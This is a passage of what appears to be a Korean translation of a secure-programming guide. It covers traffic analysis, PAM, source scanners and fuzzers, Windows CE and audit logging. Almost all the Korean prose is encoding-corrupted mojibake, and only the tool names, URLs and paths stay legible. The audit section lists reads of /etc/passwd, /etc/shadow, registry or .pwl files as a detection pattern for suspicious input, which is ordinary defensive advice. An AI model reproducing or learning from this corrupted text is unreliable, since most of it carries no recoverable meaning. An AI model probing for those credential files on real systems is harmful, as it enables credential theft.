´ë°³ ÃæºÐÈ÷ ³íÀǵÇÁö ¾Ê´Â ÇѰ¡Áö ¹®Á¦´Â ``Æ®·¡ÇÈ ºÐ¼®" ¹®Á¦ÀÌ´Ù. Áï, ¸Þ½ÃÁö°¡ ¾ÏȣȭµÇ¾î ÇØµ¶µÇÁö ¾Ê´õ¶óµµ ÀûÀº ¾ÏȣȭµÈ ¸Þ½ÃÁö·ÎºÎÅÍ ¸Å¿ì ¸¹Àº °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î µÎ ȸ»çÀÇ »çÀåÀÌ ¸¹Àº ¾ÏȣȭµÈ À̸ÞÀÏ ¸Þ½ÃÁö¸¦ ±³È¯Çϱ⠽ÃÀÛÇÑ´Ù¸é µÎ È¸»ç°¡ ÇÕº´À» °í·ÁÇϰí ÀÖ´Ù°í »ý°¢ÇÒ ¼öµµ ÀÖ´Ù. ´Ù¸¥ ¿¹·Î´Â ¸¹Àº SSH ±¸ÇöÀº ÆÐ½º¿öµå¸¦ ±³È¯Çϴµ¥ ÀÖ¾î ¾àÁ¡À» °®°í ÀÖ´Ù°í ¾Ë·ÁÁ® ÀÖ´Ù; °üÃøÀÚ´Â ÆÐŶÀ» º¸°í ÆÐ½º¿öµå ÀÚü´Â ¾Ë¾Æ³¾ ¼ö ¾ø´õ¶óµµ ÆÐ½º¿öµåÀÇ ±æÀÌ (¶Ç´Â ±æÀÌ ¹üÀ§) ´Â °áÁ¤ÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ ÆÐ½º¿öµå¸¦ ÇØµ¶Çϴµ¥ »ó´çÈ÷ µµ¿òÀÌ µÇ´Â ÆÐ½º¿öµå °ü·Ã ´Ù¸¥ Á¤º¸¸¦ Á¤ÇÒ ¼öµµ ÀÖ´Ù.

¹Ýµå½Ã ¾î´À Á¤µµ ÇØµ¶ÇÏ´Â °ÍÀ» °¡´ÉÇÏ°Ô ÇÏÁö ¸»°í (½Å·ÚµÇ¾îÁö´Â) ½Å·Ú ȯ°æÀÌ º¯ÇÒ ¶§ ´Ù¸¥ ۸¦ »ç¿ëÇØ¶ó. ³Ê¹« ¿À·§µ¿¾È µ¿ÀÏÇÑ Å°¸¦ »ç¿ëÇÏÁö ¸¶¶ó - ¾ó¸¶ ÈÄ¿¡ ¼¼¼Ç Ű ¶Ç´Â ÆÐ½º¿öµå¸¦ º¯°æÇضó. µû¶ó¼­ ÀûÀº À̵éÀÇ ÇØµ¶À» ´Ù½Ã ½ÃÀÛÇØ¾ß ÇÒ °ÍÀÌ´Ù.

ÀϹÝÀûÀ¸·Î ¾ÏȣȭÇÒ °ÍÀ» ¾ÐÃàÇØ¾ß ÇÑ´Ù - ÀÌ´Â °íÁ¤µÈ Çì´õ¸¦ Ãß°¡ÇØ º°·Î ÁÁÁø ¾ÊÁö¸¸ ¾ÏȣȭµÈ °á°ú¸¦ ´õ¿í ÀÛ°Ô ¸¸µé»Ó¾Æ´Ï¶ó ¸Þ½ÃÁö¿¡ Á¸ÀçÇÏ´Â ¸¹Àº ÆÐÅÏÀ» Á¦°ÅÇÑ´Ù. µû¶ó¼­ ¾ÐÃàÀ» ÅëÇØ °á°ú°¡ ´õ¿í ÀÛ¾ÆÁø´Ù¸é º¸Åë ``ÀÌÀÍ" À¸·Î °£ÁֵǾú´Ù.

°ü·ÃÇØ¼­ ÁÖ¸ñÇÒ °ÍÀº ÀÚ½ÅÀÇ °íÀ¯ Åë½Å ÇÁ·ÎÅäÄÝÀ» ¸¸µé¾î¾ß ÇÑ´Ù¸é ÀÌÀü¿¡ ¹«¾ùÀÌ ÁøÇàµÇ¾î ¿Ô´ÂÁöÀÇ ¹®Á¦¸¦ Á¶»çÇØ¶ó. Bruce Schneier [1998], Mudge ÀÇ breaking of Microsoft's PPTP implementation ¹× ÈÄ¼Ó ÀÛ¾÷ »Ó¸¸ ¾Æ´Ï¶ó TCP/IP ÇÁ·ÎÅäÄÝ ½ºÀ§Æ®¿¡¼­ º¸¾È ¹®Á¦¿¡ ´ëÇÑ Bellvin [1989] ÀÇ °ËÅä¿Í °°Àº °íÀüÀÌ µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ¹°·Ð ¹Ýµå½Ã ¸ðµç »õ·Î¿î ÇÁ·ÎÅäÄÝÀ» ±¤¹üÀ§ÇÏ°Ô °ø°³ÀûÀ¸·Î °ËÅäÇØ¾ß °¡´ÉÇÑ Àç»ç¿ëÇØ¶ó.


10.6. PAM »ç¿ë

PAM (Pluggable Authentication Module, ÀåÂø½Ä ÀÎÁõ ¸ðµâ) Àº »ç¿ëÀÚ¸¦ ÀÎÁõÇϱâ À§ÇÑ À¯¿¬ÇÑ ¸ÞÄ«´ÏÁòÀ¸·Î ¼Ö¶ó¸®½º, °ÅÀÇ ¸ðµç ¸®´ª½º ¹èÆ÷ÆÇ (·¹µåÇÞ, Ä®µ¥¶ó¿Í µ¥ºñ¾È ¹öÀü 2.2) °ú FreeBSD ¹öÀü 3.1 µîÀÇ ¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ PAM À» Áö¿øÇÑ´Ù. PAM À» »ç¿ëÇÔÀ¸·Î½á ÇÁ·Î±×·¥Àº ÆÐ½º¿öµå, ½º¸¶Æ®Ä«µå µîÀÇ ÀÎÁõ ½ºÅ´¿¡ µ¶¸³ÀûÀÏ ¼ö ÀÖ´Ù. ±âº»ÀûÀ¸·Î ÇÁ·Î±×·¥Àº PAM À» È£ÃâÇϴµ¥ ·ÎÄà ½Ã½ºÅÛ °ü¸®ÀÚÀÇ ¼³Á¤À» °Ë»çÇÔÀ¸·Î½á ¾î¶² ``ÀÎÁõ ¸ðµâ"ÀÌ ÇÊ¿äÇÑÁö¸¦ ·±Å¸Àӽà °áÁ¤ÇÑ´Ù. ÆÐ½º¿öµå ÀԷ°ú °°Àº ÀÎÁõÀ» ¿äÇÏ´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇϰí ÀÖ´Ù¸é PAM ¿¡ ´ëÇÑ Áö¿øÀ» Æ÷ÇÔÇØ¾ß ÇÑ´Ù. http://www.kernel.org/pub/linux/libs/pam/index.html¿¡¼­ ¸®´ª½º-PAM ÇÁ·ÎÁ§Æ®¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ãÀ» ¼ö ÀÖ´Ù.


10.7. µµ±¸

¸î¸î µµ±¸µéÀº º¸¾È ¹®Á¦¸¦ ó¸®Çϱâ Àü¿¡ À̸¦ ŽÁöÇϴµ¥ µµ¿òÀÌ µÉ ¼ö ÀÖ´Ù. ¹°·Ð ¸ðµç ±×·¯ÇÑ ¹®Á¦¸¦ ¹ß°ßÇÒ ¼ö´Â ¾øÁö¸¸ Áö³ªÄ¥ ¼ö ÀÖ´Â ¹®Á¦¸¦ Àâ´Âµ¥ µµ¿òÀÌ µÉ ¼ö ÀÖ´Ù. ´ÙÀ½Àº ¿ÀÇ ¼Ò½º/ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î µµ±¸¿¡ ÁßÁ¡À» µÐ ¾à°£ÀÇ µµ±¸µéÀÌ´Ù.

ÇѰ¡Áö ¸í¹éÇÑ Å¸ÀÔÀÇ µµ±¸´Â ÀáÀçÀûÀÎ º¸¾È ¹®Á¦¸¦ °®°í ÀÖ´Ù°í ¾Ë·ÁÁø ÆÐÅÏÀ» ã¾Æ³»´Â ¼Ò½º Äڵ带 °Ë»çÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù (¿¹, ¶óÀ̺귯¸® ÇÔ¼ö È£ÃâÀº ´ë°³ º¸¾È Ãë¾à¼ºÀÇ ÃâóÀÌ´Ù). ÀÌ·¯ÇÑ Á¾·ùÀÇ ÇÁ·Î±×·¥Àº ``¼Ò½º ÄÚµå ½ºÄ³³Ê" (source code scanner) ¶ó°í ºÒ¸®´Âµ¥ ´ÙÀ½ ¸î¸î ±×·¯ÇÑ µµ±¸µéÀÌ´Ù:

  • Secure Software Solutions ÀÇ RATS (Rough Auditing Tool for Security) ´Â http://www.securesw.com/rats ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. ÀÌ ÇÁ·Î±×·¥Àº ÀϹÝÀûÀÎ ¹®Á¦¿¡ ´ëÇØ C/C++ ¼Ò½º Äڵ带 ½ºÄµÇϸç GPL ¶óÀ̼¾½ºÇÏ¿¡ ÀÖ´Ù.

  • ÀúÀÚ°¡ °³¹ßÇÑ Flawfinder; ÀÌ´Â http://www.dwheeler.com/flawfinder ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. À̵µ ¶ÇÇÑ ÀϹÝÀûÀÎ ¹®Á¦¿¡ ´ëÇØ C/C++ ¼Ò½º Äڵ带 ½ºÄµÇϸç GPL ¶óÀ̼¾½ºÇÏ¿¡ ÀÖ´Ù. RATS ¿Í´Â ´Þ¸® flawfinder ´Â ÆÄÀ̽ãÀ¸·Î ±¸ÇöµÇ¾î ÀÖ´Ù. RATS ¿Í Flawfinder °³¹ßÀÚµéÀº ÇϳªÀÇ ``°¡Àå ¿ì¼öÇÑ" ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥À» ¸¸µé±â À§ÇØ ÇÔ²² °øµ¿ÀÛ¾÷ÇÒ ¹æ¹ýÀ» ã´Âµ¥ ÀǰßÀ» ÀÏÄ¡ÇÏ¿´´Ù.

  • Cigital (ÀÌÀü Reliable Software Technologies, RST) ÀÇ ITS4 ´Â Á¤ÀûÀ¸·Î C/C++ Äڵ带 °Ë»çÇÑ´Ù. ITS4 ´Â ¼Ò½º Äڵ忡 ÆÐÅÏ ¸ÅĪÀ» ¼öÇàÇØ ¾î¶² ÇÔ¼ö È£Ãâ°ú °°Àº À§ÇèÇÒ ¼ö ÀÖ´Ù°í ¾Ë·ÁÁø ÆÐÅÏÀ» ã¾Æ³»´Âµ¥ ¼Ò½º Äڵ带 Æ÷ÇÔÇØ ¾î¶² ¼öÁ¤°ú Àç¹èÆ÷ ±Ç¸®¿Í ÇÔ²² ºñ»ó¾÷Àû »ç¿ëÀ» À§Çؼ­´Â ¹«·á·Î ¾òÀ» ¼ö ÀÖ´Ù. ÀÌ µµ±¸´Â Open Source Definition (OSD) ¿¡ ÀÇÇØ Á¤ÀÇµÈ °Í°ú °°Àº ``¿ÀÇ ¼Ò½º" ·Î ¹ßÇ¥µÇÁö ¾Ê¾ÒÀ½À» ÁÖ¸ñÇØ¶ó. ƯÈ÷ OSD Á¶Ç× 6 Àº ¿ÀÇ ¼Ò½º ¶óÀ̼¾½º¿¡¼­ "non-commercial use only" ÀýÀ» ±ÝÁöÇϰí ÀÖ´Ù. ITS4 ´Â http://www.rstcorp.com/its4 ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

  • LCLint ´Â Á¤ÀûÀ¸·Î C ÇÁ·Î±×·¥À» °Ë»çÇÏ´Â µµ±¸Àε¥ ÀÌ´Â ÃÖ¼ÒÇÑÀÇ ³ë·ÂÀ¸·Î ´õ¿í ÁÁÀº lint (À¯´Ð½º ¿î¿µÃ¼Á¦¿¡¼­ »ç¿ëµÇ´Â ÇÁ·Î±×·¥À¸·Î¼­, C ¾ð¾îÀÇ ¿ø½Ã ÇÁ·Î±×·¥À» Àоîµé¿© ¿À·ù°¡ ÀÖ´ÂÁö¸¦ °Ë»çÇÏ´Â ÇÁ·Î±×·¥) ·Î »ç¿ëµÉ ¼ö ÀÖ´Ù. ÇÁ·Î±×·¥¿¡ ÁÖ¼®À» ´Ù´Â Ãß°¡ ³ë·ÂÀÌ ÇàÇØÁø´Ù¸é LCLint ´Â ¾î¶² Ç¥ÁØ lint º¸´Ù ´õ¿í °­ÇÑ °Ë»ç¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Ù. ÀÌ ¼ÒÇÁÆ®¿þ¾î´Â GPL ¶óÀ̼¾½ºÀ̸ç http://lclint.cs.virginia.edu ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

  • cqual Àº C ÇÁ·Î±×·¥¿¡¼­ ¹ö±×¸¦ ã±âÀ§ÇÑ Å¸ÀÔ ±â¹Ý ºÐ¼® µµ±¸ÀÌ´Ù. ÀÌ´Â C ÀÇ Å¸ÀÔ ½Ã½ºÅÛÀ» Ưº°ÇÑ »ç¿ëÀÚ Á¤ÀÇ Å¸ÀÔ ÇÑÁ¤»ç (qualifier) ·Î È®ÀåÇϴµ¥ ¿¹¸¦ µé¾î °ªµéÀÌ ``tainted" ¶Ç´Â ``untainted" ÀÓÀ» ³ªÅ¸³¾ ¼ö ÀÖ´Ù (ÆÞÀÇ taint °Ë»ç¿Í À¯»ç). ÇÁ·Î±×·¡¸Ó´Â ¸î¸î Àå¼Ò¿¡ ±×µéÀÇ ÇÁ·Î±×·¥¿¡ ´ëÇÑ ÁÖ¼®À» ´Ù´Âµ¥ cqual Àº ÁÖ¼®ÀÌ Á¤È®ÇÑÁö °Ë»çÇϱâ À§ÇØ ÇÑÁ¤»ç Ãß·ÐÀ» ¼öÇàÇÑ´Ù. cqual Àº À̸ƽº ±â¹Ý ÀÎÅÍÆäÀ̽ºÀÎ Program Analysis Mode ¸¦ »ç¿ëÇØ ºÐ¼® °á°ú¸¦ ³ªÅ¸³½´Ù. ÇöÀç ¹öÀüÀº C ÇÁ·Î±×·¥ÀÇ ÀáÀçÀûÀÎ Æ÷¸Ë-¹®ÀÚ¿­ Ãë¾à¼ºÀ» ã¾Æ³¾ ¼ö ÀÖ´Ù. Cqual ÀÇ ÀÌÀü ¹öÀüÀÎ Carillon Àº C ÇÁ·Î±×·¥¿¡¼­ Y2K ¹®Á¦¸¦ ã¾Æ³»±â À§ÇØ »ç¿ëµÇ¾ú´Ù. ¼ÒÇÁÆ®¿þ¾î´Â GPL ¶óÀ̼¾½º·Î http://www.cs.berkeley.edu/Research/Aiken/cqual ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

  • Cyclone Àº C ÀÇ º¸¾È ¾àÁ¡À» Á¦°ÅÇϱâ À§ÇÑ ¸¸µé¾îÁø C ¿Í °°Àº ¾ð¾îÀÌ´Ù. À̷лó ``´õ¿í º¸¾ÈÀûÀÎ" ¾ð¾î·Î ¾ðÁ¦³ª ¹Ù²Ü ¼ö ÀÖÁö¸¸ À̰ÍÀÌ ´Ã µµ¿òÀÌ µÇÁö´Â ¾Ê´Â´Ù (¾ð¾î´Â °øÅëÀûÀÎ ½Ç¼ö¸¦ ÇÇÇϵµ·Ï µµ¿òÀ» ÁÙ ¼ö´Â ÀÖÁö¸¸ °¢ÀÚÀÇ ÀÇÁßÀ» ÀÐÀ» ¼ö´Â ¾ø´Ù). John Viega ´Â Cyclone À» °ËÅäÇÏ¿´À¸¸ç, 2001³â 12¿ù ´ÙÀ½°ú °°ÀÌ ¸»Çß´Ù: ``Cyclone Àº ¸íÈ®ÇÏ°Ô ¸ÚÁø ¾ð¾îÀÌ´Ù. ÀÌ´Â ÇÁ·Î±×·¡¸Ó¿¡°Ô ½ÇÁ¦ ÀÌÀÍÀÌ µÉ ¼ö ÀÖ´Â ¸¹Àº Ư¡ÀÌ ÀÖÀ» »Ó¸¸ ¾Æ´Ï¶ó C ¾ð¾îÀÇ ¾î¶°ÇÑ ´É·Âµµ »©¾ÑÁö ¾ÊÀ» °Í °°°í °Ô´Ù°¡ °­·ÂÇÑ º¸¾È º¸ÁõÀ» Ãß°¡ÇÑ C ´ÙÀ̾Ʈ (dialect, ÄÄÇ»ÅÍ ¾ð¾îÀÇ Æ¯¼öÇÑ ÆÇ) ÀÌ´Ù. ºÒÇàÈ÷ Cyclone Àº ¾ÆÁ÷ °¡Àå Áß¿äÇÑ ½Ã°£¿¡ ÁغñµÇ¾î ÀÖÁö ¾Ê¾Ò´Ù. Cyclone À» ¸ø¾²°Ô ¸¸µå´Â Á¦ÇѵéÀº ¿¹¿Ü·Î ÇÏ´õ¶óµµ ¾ÆÁ÷±îÁö ¸Å¿ì ¹Ì¼º¼÷µÈ ±â¼úÀ» »ç¿ëÇÏ´Â À§ÇèÀ» ¹«¸¨¾²´Â °ÍÀÌ °¡Ä¡°¡ ¾øÀ»¸¸Å­ ¾ÆÁ÷ ÀÚ¹Ù (¶Ç´Â ÈǸ¢ÇÑ Åø¼ÂÀ» °®°í ÀÖ´Â C) ¿¡ ´ëÇØ ÃæºÐÇÑ ÀåÁ¡À» Á¦°øÇÏÁö ¸øÇϰí ÀÖ´Ù. ¾Æ¸¶µµ ¸î³â³»¿¡ Cyclone ´Â È¿À²¸é¿¡¼­ À§ÇèÇÒ Á¤µµ·Î C ¿Í À¯»çÇÑ °­·ÂÇÏ°í ³Î¸® Áö¿øµÇ´Â ¾ð¾î·Î ¼º¼÷ÇÒ °ÍÀÌ´Ù. ±×³¯ÀÌ ¿À¸é ºÐ¸íÈ÷ ³»°¡ C ¸¦ Æ÷±âÇÏ´Â °ÍÀ» º¼ °ÍÀÌ´Ù." Cyclone ÄÄÆÄÀÏ·¯´Â GPL ¹× LGPL ¶óÀ̼¾½ºÇÏ¿¡ ¹ßÇ¥µÇ¾úÀ¸¸ç ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Cyclone À¥ »çÀÌÆ® ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

´Ù¸¥ ¹æ¹ýÀº ÇÁ·Î±×·¥³»ÀÇ ¾àÁ¡À» ã±â À§ÇØ Å×½ºÆ® ÆÐÅÏÀ» ¸¸µé¾î ÇÁ·Î±×·¥À» ½ÇÇà½ÃŰ´Â °ÍÀÌ´Ù. ´ÙÀ½Àº ¾à°£ÀÇ µµ±¸µéÀÌ´Ù.

  • BFBTester, Brute Force Binary Tester, Àº GPL ¶óÀ̼¾½º ÇÁ·Î±×·¥À¸·Î ÀÌÁø ÇÁ·Î±×·¥ÀÇ º¸¾ÈÀ» ºü¸£°Ô °Ë»çÇϴµ¥ ÀÌ ÇÁ·Î±×·¥Àº ´ÜÀÏ ¹× ´ÙÁß Àμö Ä¿¸Çµå ¶óÀÎ ¿À¹öÇ÷οì¿Í ȯ°æº¯¼ö ¿À¹öÇ÷ο츦 °Ë»çÇÑ´Ù. ¹öÀü 2.0 ÀÌ»óÀº ºñº¸¾ÈÀûÀÎ tempfile À̸§À» »ç¿ëÇÏ´ÂÁö °Ë»çÇϱâ À§ÇØ ¶ÇÇÑ tempfile À» »ý¼ºÇÏ·Á´Â µ¿ÀÛÀ» °¨½ÃÇÒ ¼ö ÀÖ´Ù. ÇѶ§ BFBTester ´Â ¸®´ª½ºÀÇ POSIX ¾²·¹µå ±¸Çö½ÃÀÇ ±â¼úÀû ¹®Á¦¶§¹®¿¡ ¸®´ª½º¿¡¼­ ½ÇÇàµÇÁö ¾Ê¾ÒÁö¸¸ ¹öÀü 2.0.1 ¿¡¼­ ¼öÁ¤µÇ¾ú´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://my.ispchannel.com/~mheffner/bfbtester ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

  • fuzz ÇÁ·Î±×·¥Àº ´Ù¸¥ ¼ÒÇÁÆ®¿þ¾î¸¦ °Ë»çÇÏ´Â µµ±¸·Î ÀÓÀÇÀÇ µ¥ÀÌŸ·Î Æò°¡ÇÒ ÇÁ·Î±×·¥À» °ø°ÝÇÔÀ¸·Î½á ÇÁ·Î±×·¥À» °Ë»çÇÑ´Ù. ÀÌ µµ±¸´Â ½ÇÁ¦ º¸¾È¿¡ ÇÑÁ¤µÈ °ÍÀº ¾Æ´Ï´Ù.

¸¹Àº º¸ÅëÀÇ ÀáÀçÀûÀÎ ´ÜÁ¡À» °®°í ÀÖ´Â ftp ¼­¹ö ¶Ç´Â ¹æÈ­º®°ú °°Àº Á¦Ç°À» ±¸ÃàÇÏ·Á¸é Ç¥ÁØ º¸¾È ½ºÄ³´× µµ±¸°¡ À¯¿ëÇÔÀ» ¾Ë ¼ö ÀÖ´Ù. Nessus ´Â ÇѰ¡Áö ÈǸ¢ÇÑ µµ±¸·Î À̿ܿ¡µµ ¸¹Àº µµ±¸µéÀÌ ÀÖ´Ù. ÀÌ·¯ÇÑ Á¾·ùÀÇ µµ±¸µéÀº ȸ±Í °Ë»ç (regression testing) À» Çϴµ¥ ¸Å¿ì À¯¿ëÇÏÁö¸¸ À̵éÀº º»ÁúÀûÀ¸·Î °ú°ÅÀÇ Æ¯Á¤ Ãë¾à¼º°ú °øÅëÀûÀÎ ¼³Á¤ ¿¡·¯ ¸ñ·ÏÀ» »ç¿ëÇϱ⠶§¹®¿¡ »õ·Î¿î ÇÁ·Î±×·¥¿¡¼­ ¹®Á¦Á¡À» ã¾Æ³»´Âµ¥ À¯¿ëÇÏÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù.

º¸¾ÈÀûÀÎ ÀÎÇÁ¶ó¸¦ ±¸ÇöÇϱâ À§ÇØ ´Ù¸¥ µµ±¸¸¦ È£ÃâÇÒ Çʿ䰡 ÀÖÀ» °ÍÀÌ´Ù. Open-Source PKI Book Àº °ø°³Å° ±â¹Ý±¸Á¶ (public key infrastructure, PKI) ¸¦ ±¸ÇöÇϱâ À§ÇÑ ¸¹Àº ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥À» ±â¼úÇϰí ÀÖ´Ù.

¹°·Ð ºñº¸¾ÈÀûÀ¸·Î ¼³Á¤µÈ Ç÷§Æû¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ½ÇÇà½ÃŰ´Â °ÍÀº Àǹ̰¡ ¾ø´Ù. °ø°Ý¿¡ º¸´Ù ÀúÇ×ÀûÀÎ ½Ã½ºÅÛ ¼³Á¤À» Çϰųª ¼öÁ¤Çϱâ À§ÇØ °­È­ ½Ã½ºÅÛÀ» °Ë»çÇÒ ¼öµµ ÀÖ´Ù. ¸®´ª½º¿¡¼­ ÇѰ¡Áö °­È­ ½Ã½ºÅÛÀº Bastille ¸®´ª½º·Î ÀÌ´Â http://www.bastille-linux.org ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.


10.8. Windows CE

À©µµ¿ì CE µð¹ÙÀ̽º¸¦ ¾ÈÀüÇÏ°Ô ÇÏ·Á¸é http://msdn.microsoft.com/library/techart/winsecurity.htm¿¡¼­ Maricia Alforque ÀÇ "Creating a Secure Windows CE Device" ¸¦ Àоî¾ß ÇÑ´Ù.


10.9. °¨»ç ·¹ÄÚµå ÀÛ¼º

ÇÁ·Î±×·¥ ½Ãµ¿, ¼¼¼Ç ½Ãµ¿ ¹× ¼ö»óÇÑ Çൿ¿¡ ´ëÇÑ °¨»ç ±â·ÏÀ» ÀÛ¼ºÇضó. °¡Ä¡ÀÖ´Â °¡´ÉÇÑ Á¤º¸·Î´Â ³¯Â¥, ½Ã°£, uid, euid, gid, egid, ´Ü¸»±â Á¤º¸, ÇÁ·Î¼¼½º id ¿Í Ä¿¸Çµå ¶óÀÎ °ªµéÀÌ Àִµ¥ syslog(3) ÇÔ¼ö°¡ °¨»ç ·Î±×¸¦ ±¸ÇöÇϴµ¥ ÀÖ¾î µµ¿òÀÌ µÉ ¼ö ÀÖ´Ù. ÇѰ¡Áö Á¶½ÉÇØ¾ßÇÒ ¹®Á¦´Â ¸ðµç ·Î±ë ½Ã½ºÅÛÀÌ ¸¹Àº Á¤º¸ (ÀÌ Á¤º¸°¡ ¸Å¿ì µµ¿òÀÌ µÉ °ÍÀ̱⠶§¹®¿¡) ¸¦ ±â·ÏÇÒ ¼ö ÀÖ¾î¾ß ÇÏÁö¸¸ ÀÌ Á¤º¸°¡ ÁÖÀDZí°Ô ´Ù·ïÁöÁö ¾Ê´Â´Ù¸é Á¤º¸ ÀÚü°¡ °ø°ÝÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. °á±¹ °ø°ÝÀÚ´Â ÇÁ·Î±×·¥¿¡ º¸³»Áö´Â ÀÔ·ÂÀÇ ÀϺθ¦ Á¦¾îÇϴµ¥ ÀÖÀ» ¼ö ÀÖ´Â °ø°ÝÀÚ¿¡ ÀÇÇØ º¸³»Áø µ¥ÀÌŸ¸¦ ±â·ÏÇÒ ¶§´Â ·Î±×°¡ ¼Õ»óµÇÁö ¾Êµµ·Ï ``¿¹»óµÈ" ¹®ÀÚµéÀÇ ¸ñ·ÏÀ» È®ÀÎÇÏ°í ¸ðµç ``¿¹±âÄ¡ ¾ÊÀº" ¹®ÀÚµéÀ» À̽ºÄÉÀÌÇÁÇØ¶ó. ÀÌ·¸°Ô ÇÏÁö ¾ÊÀ¸¸é ½ÇÁ¦ ¹®Á¦°¡ µÉ ¼ö ÀÖ´Ù; »ç¿ëÀÚ°¡ ½ÇÁ¦ ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Â Á¦¾î ¹®ÀÚµé (ƯÈ÷ NIL ¶Ç´Â ¶óÀÎ ³¡) °ú °°Àº ¹®ÀÚ¸¦ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù. ¿¹¸¦ µé¾î °ø°ÝÀÚ°¡ °³Çà ¹®ÀÚ¸¦ ³¢¿ö³Ö´Â´Ù¸é °³Çà ¹®ÀÚµÚ¿¡ ¿øÇÏ´Â ·Î±× ¿£Æ®¸®¸¦ ³õÀ½À¸·Î½á ±× ¿£Æ®¸®¸¦ º¯Á¶ÇÒ ¼ö ÀÖ´Ù. ºÒÇàÈ÷ ÀÌ·¯ÇÑ ¹®ÀÚµéÀ» À̽ºÄÉÀÌÇÎÇÏ´Â °Í¿¡ ´ëÇÑ Ç¥ÁØ °ü·Ê°¡ ÀÖÀ» °Í °°Áö´Â ¾Ê´Ù. ÀúÀÚ´Â URL À̽ºÄÉÀÌÇÎ ¸ÞÄ«´ÏÁò (%hh, hh ´Â À̽ºÄÉÀÌÇÁµÇ´Â ¹ÙÀÌÆ®ÀÇ 16Áø¼ö) À» ƯÈ÷ ÁÁ¾ÆÇÏÁö¸¸ C °ü·Ê (8Áø¼ö¿¡ ´ëÇØ \ooo, \X, X ´Â Ưº° ½Éº¼·Î ¿¹, °³Çà ¹®ÀÚ¿¡ ´ëÇØ \n) ¸¦ Æ÷ÇÔÇØ ´Ù¸¥ °Íµéµµ ÀÖ´Ù. ¶ÇÇÑ Ä³·µ (caret) ½Ã½ºÅÛ (^I ´Â control-I) µµ ÀÖÁö¸¸ ÀÌ ½Ã½ºÅÛÀº 127 À§ÀÇ ¹ÙÀÌÆ® °ªÀ» ´Ù·çÁö´Â ¸øÇÑ´Ù.

½Ã½ºÅÛÀÌ °¨»ç ·¹Äڵ带 ÀúÀåÇϱâ À§ÇÑ ÀÚ¿øÀ» ´Ù½á¹ö¸± ¶§±îÁö °¨»ç ·¹Äڵ带 ±â·ÏµÇ°Ô ÇÏ´Â ¸Å¿ì ¸¹Àº ¼öÀÇ À̺¥Æ®¸¦ ¼öÇàÇÔÀ¸·Î½á »ç¿ëÀÚ°¡ ¼­ºñ½º ºÎÀÎ °ø°Ý (¶Ç´Â Àû¾îµµ °¨»ç ÁßÁö) À» ¸¸µé ¼ö ÀÖ´Â À§ÇèÀÌ ÀÖ´Ù. ÀÌ À§Çù¿¡ ´ëóÇϱâ À§ÇÑ ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº °¨»ç ±â·Ï ·¹ÄÚµùÀÇ Á¤µµ¸¦ Á¦ÇÑ (rate limit) ÇÏ´Â °ÍÀÌ´Ù; ³Ê¹« ¸¹Àº °¨»ç ·¹ÄÚµåµéÀÌ ±â·ÏµÇ°í ÀÖ´Ù¸é ÀǵµÀûÀ¸·Î ÀÀ´ä ¼Óµµ¸¦ °¨¼Ò½ÃÄѶó. ¶ÇÇÑ Àǽɽº·¯¿î °ø°ÝÀÚ¿¡°Ô¸¸ ÀÀ´ä ¼Óµµ¸¦ ÁÙÀÌ·Á°í ÇÒ ¼öµµ ÀÖÁö¸¸ ¸¹Àº °æ¿ì ´Üµ¶ °ø°ÝÀÚ°¡ ÀáÀçÀûÀ¸·Î ¸¹Àº »ç¿ëÀÚµé·Î °¡ÀåÇÒ ¼ö ÀÖ´Ù.

¹°·Ð ¹«¾ùÀÌ ``¼ö»óÇÑ Çൿ"Àΰ¡¸¦ ¼±ÅÃÇÏ´Â °ÍÀº ÇÁ·Î±×·¥ÀÌ ÇÏ´Â Àϰú ÀÌÀÇ ¿¹»óµÈ »ç¿ë¿¡ ÀÇÁ¸Çϴµ¥ Ãʱ⿡ ³íÀÇÇÑ ÇÊÅ͸µ °Ë»ç¿¡¼­ °É·¯ÁöÁö ¾Ê´Â ¸ðµç ÀÔ·ÂÀÌ ¾Æ¸¶µµ Èĺ¸ÀÌ´Ù (¿¹, NIL À» Æ÷ÇÔÇÏ¿©). Á¤»ó »ç¿ëÀ¸·ÎºÎÅÍ »ý±æ¼ö ¾ø´Â ÀÔ·ÂÀº µÉ ¼ö ÀÖ´ÂÇÑ ±â·ÏµÇ¾î¾ß Çϴµ¥ ƯÁ¤ ¿ä±¸ Çʵ尡 ¼ö»óÇÑ ¹æ½ÄÀ¸·Î »ç¶óÁö´Â CGI ½ºÅ©¸³Æ®°¡ ±× ¿¹ÀÌ´Ù. /etc/passwd ¶Ç´Â /etc/shadow ¶Ç´Â ºñ½ÁÇÑ ¹®ÀåÀ» °®°í ÀÖ´Â ¸ðµç ÀÔ·ÂÀº ¸¹Àº °æ¿ì ¸Å¿ì Àǽɽº·´´Ù. ºñ½ÁÇÏ°Ô À©µµ¿ìÀÇ "registry" ÆÄÀÏ ¶Ç´Â .pwl ÆÄÀÏ¿¡ Á¢±ÙÇÏ·Á´Â °ÍÀº ¸Å¿ì Àǽɽº·´´Ù.

